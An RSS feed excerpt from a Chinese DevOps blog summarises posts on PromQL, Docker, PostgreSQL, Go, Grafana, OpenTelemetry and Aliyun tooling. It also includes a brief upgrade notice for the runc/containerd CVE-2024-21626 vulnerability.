从入门到精通（电子书）</title><link>https://typonotes.com/posts/2024/02/26/promql-learning-book/</link><pubDate>Mon, 26 Feb 2024 10:46:06 +0800</pubDate><guid>https://typonotes.com/posts/2024/02/26/promql-learning-book/</guid><description>PromQL 从入门到精通（电子书） 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/02/26/promql-learning-book/ 群友分享。 下载地址: PromQL 从入门到精通.pdf</description></item><item><title>一个关于 Nodejs Dockerfile 的小优化</title><link>https://typonotes.com/posts/2024/02/20/a-simple-optimizion-for-nodejs-dockerfile/</link><pubDate>Tue, 20 Feb 2024 10:35:46 +0800</pubDate><guid>https://typonotes.com/posts/2024/02/20/a-simple-optimizion-for-nodejs-dockerfile/</guid><description>一个关于 Nodejs Dockerfile 的小优化 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/02/20/a-simple-optimizion-for-nodejs-dockerfile/ 原版 Dockerfile 如下。 1 2 3 4 5 6 7 8 9 10 FROM ${BASE_IMAGE} as env RUN mkdir -p /app &amp;amp;&amp;amp; chown -R node:node /app WORKDIR /app COPY package*.json ./ COPY .npmrc ./ USER node ## 问题在这里， npm install 失败之后， 无法看到具体错误 RUN npm install 在执行完成 npm install 之后没有更多的 错误判断。 如果没有出错， 一切都正常。 往下走就行了。 但是执行出错</description></item><item><title>通过 URL link 填写 JIRA 表单内容</title><link>https://typonotes.com/posts/2024/02/19/fill-jira-ticket-fields-by-url-link/</link><pubDate>Mon, 19 Feb 2024 17:01:43 +0800</pubDate><guid>https://typonotes.com/posts/2024/02/19/fill-jira-ticket-fields-by-url-link/</guid><description>通过 URL link 填写 JIRA 表单内容 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/02/19/fill-jira-ticket-fields-by-url-link/ 假如有一张 JIRA 表单， 内容格式有规律可循。 这个时候，你可以 可以通过 URL 携带 Query 参数， 在创建表单的时候填写上默认值。 抓一下 JIRA 的请求接口， 直接调用 API。 1. URL 携带 Query 参数 创建表单的时候随便填写一点东西。 打开 Chrome 控制台， 清空所有 Netowrk 信息</description></item><item><title>Containerd Bug Cve 2024 21626</title><link>https://typonotes.com/posts/2024/02/02/containerd-bug-cve-2024-21626/</link><pubDate>Fri, 02 Feb 2024 10:06:50 +0800</pubDate><guid>https://typonotes.com/posts/2024/02/02/containerd-bug-cve-2024-21626/</guid><description>K8S/ContaienrD 高危文件描述符漏洞 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/02/02/containerd-bug-cve-2024-21626/ 漏洞根源 2024年2月1日， runc 爆出 高危 文件描述符 漏洞。 漏洞编号: CVE-2024-21626 影响范围: 1.0.0-rc93 &amp;lt;= runc &amp;lt;= 1.1.11 安全版本: runc 1.1.12 ContainerD 受影响范围 ContainerD 受到影响。 版本覆盖 v1.5.13 - 1.6.20 使用命令查看 containerd 版本 1 2 $ containerd --version containerd containerd.io 1.6.22 8165feabfdfe38c65b599c4993d227328c231fca 修复方式 将 containerd 升级到 1.16.20 以上版本即可。 从 ContainerD 官网 下</description></item><item><title>Pgsql 时间加减</title><link>https://typonotes.com/posts/2024/02/01/pgsql-time-shift/</link><pubDate>Thu, 01 Feb 2024 17:40:05 +0800</pubDate><guid>https://typonotes.com/posts/2024/02/01/pgsql-time-shift/</guid><description>Pgsql 时间加减 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/02/01/pgsql-time-shift/ 时间管理 1 2 3 4 5 6 7 --时间加减 select now()+interval &amp;#39;1 year&amp;#39; ,now()+interval &amp;#39;-1 month&amp;#39; ,now()-interval &amp;#39;1 day&amp;#39; ,now()+interval &amp;#39;1 hour&amp;#39; ,100* interval &amp;#39;1 second&amp;#39; - 1*interval &amp;#39;1 minute&amp;#39;;</description></item><item><title>Pgsql 将数据移动到备份表</title><link>https://typonotes.com/posts/2024/02/01/pgsql-move-data-to-another-table/</link><pubDate>Thu, 01 Feb 2024 17:38:48 +0800</pubDate><guid>https://typonotes.com/posts/2024/02/01/pgsql-move-data-to-another-table/</guid><description>Pgsql 将数据移动到备份表 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/02/01/pgsql-move-data-to-another-table/ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 -- -- 准备阶段， 删除表 drop table TABLE_Original; drop table TABLE_History; -- 创建 原始表， 模拟数据 create table TABLE_Original(ca varchar(10), createtime timestamp) insert into TABLE_Original(ca,createtime) values(&amp;#39;r1&amp;#39;,&amp;#39;2024-03-10&amp;#39;); insert into TABLE_Original(ca,createtime) values(&amp;#39;r1&amp;#39;,&amp;#39;2024-03-11&amp;#39;); insert into TABLE_Original(ca,createtime) values(&amp;#39;r1&amp;#39;,&amp;#39;2024-03-12&amp;#39;); insert into TABLE_Original(ca,createtime) values(&amp;#39;r1&amp;#39;,&amp;#39;2024-03-13&amp;#39;); -- 创建备份表 create table TABLE_History(ca varchar(10),createtime timestamp) -- -- 转移</description></item><item><title>几种封装 HTTP Authorization 的分装方式</title><link>https://typonotes.com/posts/2024/01/25/authz-in-http-request/</link><pubDate>Thu, 25 Jan 2024 10:35:44 +0800</pubDate><guid>https://typonotes.com/posts/2024/01/25/authz-in-http-request/</guid><description>几种封装 HTTP Authorization 的分装方式 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/01/25/authz-in-http-request/ 大家都知道， 在做 HTTP 请求的时候， 通常需要提供 账号名和密码， 例如 1 $ curl -u username:password http://api.example.com 其实， 这种就是 HTTP Authentication 中的 Basic 模式(Schema) 翻译一下 首先将账号密码使用 冒号: 链接 随后进行 base64 编码 最后放在 Header 的 Authorization 中。 1 2 $ val=base64(&amp;#34;username:password&amp;#34;) $ curl -H &amp;#34;Authorization: Basic ${username:password} http://api.example.com 除了 Basic 之外</description></item><item><title>不要相信用户输入， 自己的也不行</title><link>https://typonotes.com/posts/2024/01/22/do-not-trust-user-input/</link><pubDate>Mon, 22 Jan 2024 16:54:27 +0800</pubDate><guid>https://typonotes.com/posts/2024/01/22/do-not-trust-user-input/</guid><description>不要相信用户输入， 自己的也不行 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/01/22/do-not-trust-user-input/ 这片文章记录了自己的一个 低级错误。 浪费了我接近一个小时的时间。 1. 背景介绍 大概背景是公司换了新的 API 网关， 所有项目都要重新介入。 研发团队接入之后， 需要帮他们验证测试， 于是用 go 写了一个简单的工具。 但是实际运行结果 time=2024-01-20</description></item><item><title>不用代理， 解决 Github ssh 协议方式超时失败解决方法</title><link>https://typonotes.com/posts/2024/01/20/github-ssh-22-time-out/</link><pubDate>Sat, 20 Jan 2024 19:38:56 +0800</pubDate><guid>https://typonotes.com/posts/2024/01/20/github-ssh-22-time-out/</guid><description>不用代理， 解决 Github ssh 协议方式超时失败解决方法 建议点击 查看原文 查看最新内容。 原文链接: https://gist.github.com/Tamal/1cc77f88ef3e900aeae65f0e5e504794 在使用 ssh 协议的时候， 访问超市失败 ssh: connect to host github.com port 22: Connection timed out 1 2 3 4 5 6 7 8 $ git clone git@github.com:xxxxx/xxxx.git my-awesome-proj Cloning into &amp;#39;my-awesome-proj&amp;#39;... ssh: connect to host github.com port 22: Connection timed out fatal: Could not read from remote repository. $ # This should also timeout $ ssh -T git@github.com ssh: connect to host github.com port 22: Connection timed out 但是访问 ssh.github.com 正常 1 2 3 $ # but this might work $ ssh -T</description></item><item><title>Golang 使用 inline 处理 JSON/YAML 内联字段的 2 点注意事项</title><link>https://typonotes.com/posts/2024/01/09/golang-tag-inline/</link><pubDate>Tue, 09 Jan 2024 11:15:10 +0800</pubDate><guid>https://typonotes.com/posts/2024/01/09/golang-tag-inline/</guid><description>Golang 使用 inline 处理 JSON/YAML 内联字段的 2 点注意事项 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/01/09/golang-tag-inline/ 这是一片错误笔记， 没什么高大上的东西。 简单记录一下在 Go 中使用 json 和 yaml 在解析字符串的时候没有太注意的一个点。 以 Json 为例， 通常我们在 struct结构 与 Json结构 的时候是 一一对应 的。 以下几种名字都是我自己取的，</description></item><item><title>如何实现 Http Request Body 多次读取</title><link>https://typonotes.com/posts/2024/01/02/http-request-multiple-times-read/</link><pubDate>Tue, 02 Jan 2024 09:51:33 +0800</pubDate><guid>https://typonotes.com/posts/2024/01/02/http-request-multiple-times-read/</guid><description>如何实现 Http Request Body 多次读取 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/01/02/http-request-multiple-times-read/ 最近在使用 gin 的时候， 踩了一个重复读取的 Request.Body 的坑。 起因是 gin 的 gin.Context{} 提供了 c.Copy() 方法创建副本。 这个方法一直在用， 但不知道从什么时候开始， 一直认为这个方法是 深拷贝， 但 并不完全是 (T_T) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // Copy returns a</description></item><item><title>Aliyun Sls Trace Best Practices</title><link>https://typonotes.com/posts/2023/11/10/aliyun-sls-trace-best-practices/</link><pubDate>Fri, 10 Nov 2023 10:43:12 +0800</pubDate><guid>https://typonotes.com/posts/2023/11/10/aliyun-sls-trace-best-practices/</guid><description>Aliyun Sls Trace Best Practices 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/11/10/aliyun-sls-trace-best-practices/ Aliyun SLS Demos https://sls.aliyun.com/doc/?aliUid=1049446484210612#%E6%99%BA%E8%83%BD%E8%BF%90%E7%BB%B4%E5%BA%94%E7%94%A8-demo Practics 这个也是新上的 目前推荐还是文档。里面也有一些案例 https://help.aliyun.com/zh/sls/user-guide/full-stack-observability/</description></item><item><title>Pgsql Create Readonly Account</title><link>https://typonotes.com/posts/2023/10/25/pgsql-create-readonly-account/</link><pubDate>Wed, 25 Oct 2023 11:14:11 +0800</pubDate><guid>https://typonotes.com/posts/2023/10/25/pgsql-create-readonly-account/</guid><description>Pgsql Create Readonly Account 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/10/25/pgsql-create-readonly-account/ 授权 schema 只读权限 登陆到数据库 1 $ psql -u root -d dbname ; 切换到对应数据库 1 sql&amp;gt; \c dbname; 创建用户并授权 1 2 3 4 5 6 7 8 9 10 11 12 -- 创建用户 CREATE USER &amp;lt;USER_RO&amp;gt; WITH PASSWORD &amp;#39;&amp;lt;PASS_FOR_USER_RO&amp;gt;&amp;#39;; -- 授权 public schema 可以不用。 -- 授权非 public schema 需要保留。 GRANT USAGE ON SCHEMA &amp;lt;SCHEMA_NAME&amp;gt; TO &amp;lt;USER_RO&amp;gt;; -- 授权制度权限 GRANT SELECT ON ALL TABLES IN SCHEMA &amp;lt;SCHEMA_NAME&amp;gt; TO &amp;lt;USER_RO&amp;gt;; --授予将来新</description></item><item><title>OpenTelemetry(05): Otel Collector Contrib 添加鉴权支持</title><link>https://typonotes.com/posts/2023/10/07/otel-collector-contrib-with-auth-supportive/</link><pubDate>Sat, 07 Oct 2023 17:19:54 +0800</pubDate><guid>https://typonotes.com/posts/2023/10/07/otel-collector-contrib-with-auth-supportive/</guid><description>OpenTelemetry(05): Otel Collector Contrib 添加鉴权支持 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/10/07/otel-collector-contrib-with-auth-supportive/ 之前我在 OpenTelemetry(1): Golang 接入 OpenTelemetry 完整过程和思路（附源码）- Gin Demo 中提到过， 使用 Otel Collector Contrib 作为中间件 解耦 应用和数据平台。 1. 遇到的困境 此前并没有提到 Otel Collector Contrib 限制接入的问题。 测试的时候在 K8S 集群内部， 服务不对外， 无需鉴权。 但在团队内部推广并上线之后</description></item><item><title>Install Go Tools After Upgrade Macos</title><link>https://typonotes.com/posts/2023/09/18/install-go-tools-after-upgrade-macos/</link><pubDate>Mon, 18 Sep 2023 14:48:44 +0800</pubDate><guid>https://typonotes.com/posts/2023/09/18/install-go-tools-after-upgrade-macos/</guid><description>Install Go Tools After Upgrade Macos 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/09/18/install-go-tools-after-upgrade-macos/ 升级 mac 到最新后， 所有工具都不可用了。 使用 go install 命令重新安装时，报错如下 1 2 3 4 $ go install -v github.com/golangci/golangci-lint/cmd/golangci-lint@latest runtime/cgo # runtime/cgo xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun 重新安装 xcode, 运行如下命令， 一路点击 确认/安装 即可 1 $ xcode-select --install xcode 安装完成， 重新执行 go install 安装工具。</description></item><item><title>英语: 不规则动词</title><link>https://typonotes.com/posts/2023/09/08/irregular-verbs/</link><pubDate>Fri, 08 Sep 2023 16:06:39 +0800</pubDate><guid>https://typonotes.com/posts/2023/09/08/irregular-verbs/</guid><description>英语: 不规则从此分类 原文链接: https://www.yingyutu.com/ 过去式 = 过去分词 = 原形 原形 过去式 过去分词 汉语意思 bet bet bet 打赌 cost cost cost 耗费（钱） cut cut cut 切、割 hit hit hit 击打、撞 hurt hurt hurt 使…伤痛 let let let 让 put put put 放 read read read 读 set set set 安排、安置 set set set 安排、安置 过去式改字母， 过去分词 = 原形 原形 过去式 过去分词 汉语意思 become became becom 成为 come came come 来 run ran run</description></item><item><title>Dockerfile: RUN 命令支持内置Shell脚本， 从此告别 &amp;&amp; 链接符号</title><link>https://typonotes.com/posts/2023/09/03/dockerfile-buildkit-here-syntax-wonderful/</link><pubDate>Sun, 03 Sep 2023 15:32:38 +0800</pubDate><guid>https://typonotes.com/posts/2023/09/03/dockerfile-buildkit-here-syntax-wonderful/</guid><description>Dockerfile: RUN 命令支持内置Shell脚本， 从此告别 &amp;amp;&amp;amp; 链接符号 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/09/03/dockerfile-buildkit-here-syntax-wonderful/ 前几天， 我测试 Dockerfile 的 Here-Doc 语法 ， 说其是 鸡肋语法， 是我 浅薄 了。 重新看了 docker 官网文档关于 buildkit 的介绍， 从 docker engine 23.0 开始就是默认 builder 了。 BuildKitopen_in_new is an improved backend to replace the legacy builder. BuildKit is the default builder for users on Docker Desktop, and Docker Engine as of version 23.0. 换句话说， 我们上一篇文</description></item><item><title>Dockerfile: 通过 buildkit 支持多行语法</title><link>https://typonotes.com/posts/2023/09/01/dockerfile-buildkit-here-syntax/</link><pubDate>Fri, 01 Sep 2023 14:31:00 +0800</pubDate><guid>https://typonotes.com/posts/2023/09/01/dockerfile-buildkit-here-syntax/</guid><description>Dockerfile: 通过 buildkit 支持多行语法 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/09/01/dockerfile-buildkit-here-syntax/ 今天在看 docker 文档的时候， 发现了一个新语法 Dockerfile - here documents 语法 , 即 多行语法。 在 Dockerfile 1.4 中添加。 如果你知道 cat 的 here document 语法， 就会很好理解。 1 2 3 4 cat &amp;gt; demo.txt &amp;lt;&amp;lt;EOF &amp;gt; 123 &amp;gt; asdb &amp;gt; EOF 该语法在使用时有一些限制条件 该语法只支持在 RUN 和 COPY 下使用。 需要通过 buildkit 解析语法</description></item><item><title>Aliyun: 通过 API 配置 CDN</title><link>https://typonotes.com/posts/2023/08/30/aliyun-cdn-api-setting/</link><pubDate>Wed, 30 Aug 2023 16:00:36 +0800</pubDate><guid>https://typonotes.com/posts/2023/08/30/aliyun-cdn-api-setting/</guid><description>Aliyun Cdn Api Setting 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/08/30/aliyun-cdn-api-setting/ 参考文档 Aliyun CDN 在线 API Online: https://api.aliyun.com/api/Cdn/2018-05-10/BatchSetCdnDomainConfig Aliyun CDN Document 域名配置功能函数: https://help.aliyun.com/zh/cdn/developer-reference/parameters-for-configuring-features-for-domain-names Aliyun CDN SDK: https://github.com/alibabacloud-go/cdn-20180510</description></item><item><title>Opentelmetry(2): 【内部分享】 从入门到精通</title><link>https://typonotes.com/posts/2023/08/29/opentelmetry-introduce-techsharing/</link><pubDate>Tue, 29 Aug 2023 17:19:36 +0800</pubDate><guid>https://typonotes.com/posts/2023/08/29/opentelmetry-introduce-techsharing/</guid><description>Opentelmetry(2): 【内部分享】 从入门到精通 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/08/29/opentelmetry-introduce-techsharing/ 01. 我们为什么需要做链路追踪 当 服务逻辑复杂、 调用链条过长 ， 甚至夸多个部门协作时。 一个请求 从被接受到应答 中间过程就是个 黑盒， 如果出现不稳定的情况， 例如 响应慢， 相应错误 的时候， 排查起来效率低下， 甚至无法排查。 如果想要解</description></item><item><title>Nginx: 最常见的 2 中 http to https 跳转场景</title><link>https://typonotes.com/posts/2023/08/28/nginx-http-https-redirect-scenarios/</link><pubDate>Mon, 28 Aug 2023 11:07:20 +0800</pubDate><guid>https://typonotes.com/posts/2023/08/28/nginx-http-https-redirect-scenarios/</guid><description>Nginx: 最常见的 2 中 http to https 跳转场景 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/08/28/nginx-http-https-redirect-scenarios/ 1. Nginx 上层无代理， 用户直接访问 这种方式比较简单。 我们对 http 和 https 都具有控权。 用户是直接访问 Nginx 服务器。 所以可以直接通过在 http server 上配置到 301 跳转 到 https 服务器即可。 # http server server { listen 80; server_name _; return 301 https://$host$request_uri; } # https server server { listen 443 ssl http2; server_name www.example.com; # ... other } 通常， 我</description></item><item><title>使用 Aliyun Cli 更新 CDN HTTPS 证书</title><link>https://typonotes.com/posts/2023/08/22/aliyun-cli-update-cdn-https-certificate/</link><pubDate>Tue, 22 Aug 2023 17:50:02 +0800</pubDate><guid>https://typonotes.com/posts/2023/08/22/aliyun-cli-update-cdn-https-certificate/</guid><description>使用 Aliyun Cli 更新 CDN HTTPS 证书 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/08/22/aliyun-cli-update-cdn-https-certificate/ Aliyun API 文档 SetDomainServerCertificate - 设置域名证书 使用 aliyun cli 命令行 1 2 3 4 5 6 $ aliyun --profile my-profile \ cdn SetDomainServerCertificate \ --DomainName YOUR_CDN_DOMAIN \ --CertName Your_UPLOADED_CERT_FILE_NAME \ --CertType upload \ --ServerCertificateStatus on</description></item><item><title>使用 STS 登陆 Aliyun 命令行</title><link>https://typonotes.com/posts/2023/08/22/aliyun-sso-login-and-configure/</link><pubDate>Tue, 22 Aug 2023 17:13:35 +0800</pubDate><guid>https://typonotes.com/posts/2023/08/22/aliyun-sso-login-and-configure/</guid><description>使用 STS 登陆 Aliyun 命令行 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/08/22/aliyun-sso-login-and-configure/ 使用 acs-sso 登陆， 获取 sts token 1 $ acs-sso login --profile my-profile 配置 aliyun configure, aliyun cli 非交互式登陆 1 2 3 4 5 6 7 $ aliyun configure set \ --profile my-profile \ --mode StsToken \ --region cn-hangzhou \ --access-key-id AccessKeyId \ --access-key-secret AccessKeySecret \ --sts-token StsToken 使用 aliyun --profile my-profile XXXX 执行命令 2. 使用 jq 提取字段， 完成自动登陆 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #!/bin/bash</description></item><item><title>OpenTelemetry(1): Golang 接入 OpenTelemetry 完整过程和思路（附源码）- Gin Demo</title><link>https://typonotes.com/posts/2023/08/14/golang-opentelemetry-notes/</link><pubDate>Mon, 14 Aug 2023 16:44:54 +0800</pubDate><guid>https://typonotes.com/posts/2023/08/14/golang-opentelemetry-notes/</guid><description>Golang 接入 OpenTelemetry 完整过程和思路（附源码） - Gin Demo 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/08/14/golang-opentelemetry-notes/ 为了更方便的查看代码， 建议直接跳转到 Github 仓库： https://github.com/tangx/opentelemetry-gin-demo 使用笔记 1. 使用 Otel-Collect-Contrib 初始化 trace.Provider 这里使用 app -&amp;gt; collector-contrib 进行转发， 应用不直接对后端的存储。 适配性 更高。 collector-contrib 最常见的两种协议 grpc / http(s)。 传入 endpoint 地址进行初始化 Provid</description></item><item><title>kubernetes集群中夺命的5秒DNS延迟</title><link>https://typonotes.com/posts/2023/08/05/k8s-dns-5s-resolv/</link><pubDate>Sat, 05 Aug 2023 01:05:52 +0800</pubDate><guid>https://typonotes.com/posts/2023/08/05/k8s-dns-5s-resolv/</guid><description>kubernetes集群中夺命的5秒DNS延迟 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/08/05/k8s-dns-5s-resolv/ kubernetes集群中夺命的5秒DNS延迟 问题原因 相关文章 kubernetes集群中夺命的5秒DNS延迟 破案：Kubernetes/Docke</description></item><item><title>Aliyun RDS PostgreSQL权限管理最佳实践</title><link>https://typonotes.com/posts/2023/07/14/aliyun-rds-pgsql-permission-best-practise/</link><pubDate>Fri, 14 Jul 2023 11:19:07 +0800</pubDate><guid>https://typonotes.com/posts/2023/07/14/aliyun-rds-pgsql-permission-best-practise/</guid><description>Aliyun Rds Pgsql Permission Best Practise 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/07/14/aliyun-rds-pgsql-permission-best-practise/ 注意: 在 PgSQL 中， 用户是基于 实例 的， 权限是基于 数据表/数据库 的。 换句话说， 创建的用户是可以看见所有数据库和数据表的， 但是看不到其具体内容。 创建只读用户 0. 登陆/切换 目标数据库 直接登陆目标数据库 1 2 ## login psql -u root -d dbname ; 或者登陆后切换到目标</description></item><item><title>Pgsql Stop Spliting Values in Mulitple Lines</title><link>https://typonotes.com/posts/2023/07/13/pgsql-stop-spliting-values-in-mulitple-lines/</link><pubDate>Thu, 13 Jul 2023 17:37:09 +0800</pubDate><guid>https://typonotes.com/posts/2023/07/13/pgsql-stop-spliting-values-in-mulitple-lines/</guid><description>Pgsql Stop Spliting Values in Mulitple Lines 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/07/13/pgsql-stop-spliting-values-in-mulitple-lines/ psql doesn&amp;rsquo;t split your string in multiple lines. It&amp;rsquo;s the string that contains new-line characters (ASCII 10), and psql displays them accurately. The + at the end of every line is psql&amp;rsquo;s way of telling you that the value is continued in the next line. You can use the unaligned mode (psql option -A) to get rid of the +, but the output format is less attractive then. You can get rid of the newlines in a string with 1 2 3 4 5 SELECT translate(..., E&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;); # or SELECT REPLACE(..., E&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;); decode will be able to handle such a string.</description></item><item><title>Shell: 将环境变量作为具名参数使用</title><link>https://typonotes.com/posts/2023/07/13/shell-using-env-var-as-named-arg/</link><pubDate>Thu, 13 Jul 2023 09:54:15 +0800</pubDate><guid>https://typonotes.com/posts/2023/07/13/shell-using-env-var-as-named-arg/</guid><description>Shell: 将环境变量作为具名参数使用 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/07/13/shell-using-env-var-as-named-arg/ 1. 位置参数 在 Shell 中， 最常用的参数就是 位置参数。 1 2 3 4 #!/bin/bash echo &amp;#39;$1 =&amp;#39; $1 echo &amp;#39;$2 =&amp;#39; $2 echo &amp;#39;$11 =&amp;#39; ${11} 执行结果如下 1 2 3 4 $ bash pos-var.sh 1 2 3 4 5 6 7 8 9 10 abc111 $1 = 1 $2 = 2 $11 = abc111 位置参数 使用数字表示对应的参数的位置， 不具有明确的 语义。 修改输入参</description></item><item><title>Docker 制作容器镜像实践： Nginx+Php 二合一</title><link>https://typonotes.com/posts/2023/07/11/docker-image-all-in-one-policy/</link><pubDate>Tue, 11 Jul 2023 14:58:26 +0800</pubDate><guid>https://typonotes.com/posts/2023/07/11/docker-image-all-in-one-policy/</guid><description>Docker 制作容器镜像实践： Nginx+Php 二合一 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/07/11/docker-image-all-in-one-policy/ Docker 制作容器镜像的时候， 一定不能 All In One 吗? All in One 指的是把所有依赖都制作到同一个镜像中， 比如 app, mysql, redis。 一般来说 不要， 尽量保证一个镜像一个 应用。 解耦合。 可以这么理解 容器重启相当于机器重启 ， 也就是 容器内的服务全部</description></item><item><title>Grafana(6): 使用数据源实现扩展函数支持</title><link>https://typonotes.com/posts/2023/06/29/grafana-function-extends-support/</link><pubDate>Thu, 29 Jun 2023 11:14:54 +0800</pubDate><guid>https://typonotes.com/posts/2023/06/29/grafana-function-extends-support/</guid><description>Grafana(6): 使用数据源实现扩展函数支持 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/06/29/grafana-function-extends-support/ Grafana 只提供了 Grafana 变量内置语法 。 例如 1 2 3 servers = [&amp;#39;test1.&amp;#39;, &amp;#39;test2&amp;#39;] String to interpolate: &amp;#39;${servers:regex}&amp;#39; Interpolation result: &amp;#39;(test1\.|test2)&amp;#39; 但并没有提供额外的 function/函数 功能。 这也直接导致了在界面配置的时候， 可能无法与很多第三方组件进行交互。 举个例子 举个例子， 我使用了 Aliyun SLS 服务作为日</description></item><item><title>《容器云平台排错一览图》</title><link>https://typonotes.com/posts/2023/06/27/cloudnative-k8s-debug-flow/</link><pubDate>Tue, 27 Jun 2023 10:35:12 +0800</pubDate><guid>https://typonotes.com/posts/2023/06/27/cloudnative-k8s-debug-flow/</guid><description>《容器云平台排错一览图》 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/06/27/cloudnative-k8s-debug-flow/ 这张 《容器云平台排错一览图》 不仅 逻辑清晰的为我们提供了 排错思路、流程 和 check list。 而且 通过不同颜色， 非常贴心的为我们提供常用建议。 黑色： 命令 绿色： 直接修复方案 蓝色： 建议 感谢作者。 图片来源： learnk8s.io 绘制/勘误： Spark 点击下载 高</description></item><item><title>Grafana: (5) Data Source 绑定/联动的解决方案（曲线救国）</title><link>https://typonotes.com/posts/2023/06/17/grafana-datasource-relation/</link><pubDate>Sat, 17 Jun 2023 15:58:54 +0800</pubDate><guid>https://typonotes.com/posts/2023/06/17/grafana-datasource-relation/</guid><description>Grafana: (5) Data Source 绑定/联动的解决方案（曲线救国） 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/06/17/grafana-datasource-relation/ 之前在下述两篇文章中说到了 Grafana 变量的应用 Grafana: (1) DataSource 数据源管理 Grafana: (3) 变量的创建、管理与使用 我们将数据源的值使用了 变量 控制， 保证同样的 Dashboard 可以应用到不同的环境。 不仅减少工作了工作， 还同时保证了环境的一致性。 但是，</description></item><item><title>Grafana: (4) 使用外联表格(Outer Join Table) 展示多个查询结果</title><link>https://typonotes.com/posts/2023/06/16/grafana-outer-join-table/</link><pubDate>Fri, 16 Jun 2023 14:30:44 +0800</pubDate><guid>https://typonotes.com/posts/2023/06/16/grafana-outer-join-table/</guid><description>Grafana: (4) 使用外联表格(Outer Join Table) 展示多个查询结果 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/06/16/grafana-outer-join-table/ 在使用 Grafana 的时候， 通常会希望将 多个查询结果 展示到 同一个的表格 上。 这个时候， 就需要使用到 外联表格。 我们现在需要一个表格， 展示 Pod 的的状态， 包括 CPU 的 当前、 Request、 Limit 查询的合并 1 2 3 4 5 6 7 8</description></item><item><title>Grafana: (3) 变量的创建、管理与使用</title><link>https://typonotes.com/posts/2023/06/08/grafana-variable-management/</link><pubDate>Thu, 08 Jun 2023 15:16:19 +0800</pubDate><guid>https://typonotes.com/posts/2023/06/08/grafana-variable-management/</guid><description>Grafana: (3) 变量的创建、管理与使用 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2023/06/08/grafana-variable-management/ 之前在 Grafana: (1) DataSource 数据源管理 中提到过， 对于不同环境的的数据源命名是具有一定规则， 可以在后期通过变量管理。 这个需求其实很好理解： 不同的团队 对定制的监控界面有各自的需求， 大部分情况下 不能混用 。 而某个团队的 不同环境 的界面 又需</description></item><item><title>Grafana: (2) 创建第一个 Table 表格面板</title><link>https://typonotes.com/posts/2023/06/06/grafana-create-1st-table-panel/</link><pubDate>Tue, 06 Jun 2023 17:54:28 +0800</pubDate><guid>https://typonotes.com/posts/2023/06/06/grafana-create-1st-table-panel/</guid><description>Grafana: (2) 创建第一个 Table 表格面板 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/06/06/grafana-create-1st-table-panel/ 在正式进入创建表格面板之前， 需要先管理 Dashboard。 1. 管理 Dashboard (1). 进入 Dashboard 管理界面 (2). 创建 界面/Dashboard。 在界面内， 可以创建各种类型的 面板/Panel。 (3). 创建 目</description></item><item><title>Grafana: (1) DataSource 数据源管理</title><link>https://typonotes.com/posts/2023/06/06/grafana-datasource-management/</link><pubDate>Tue, 06 Jun 2023 17:20:27 +0800</pubDate><guid>https://typonotes.com/posts/2023/06/06/grafana-datasource-management/</guid><description>Grafana: (1) DataSource 数据源管理 如果在 公众号 文章发现状态为 已更新， 建议点击 查看原文 查看最新内容。 状态: 未更新 原文链接: https://typonotes.com/posts/2023/06/06/grafana-datasource-management/ 安装 Grafana 假设我们现在已经有了一个 Grafana 了。 如果没有， 可以访问 Grafana 安装介绍 页面， 选择合适的安装方式。 数据源配置 这个很简单 齿轮/Configuration -&amp;gt; Data Source -&amp;gt; Add Data Source， 在 Grafana 数据</description></item><item><title>Aliyun Prometheus 开启控制面板</title><link>https://typonotes.com/posts/2023/06/06/aliyun-prometheus-dashboard/</link><pubDate>Tue, 06 Jun 2023 16:33:00 +0800</pubDate><guid>https://typonotes.com/posts/2023/06/06/aliyun-prometheus-dashboard/</guid><description>Aliyun 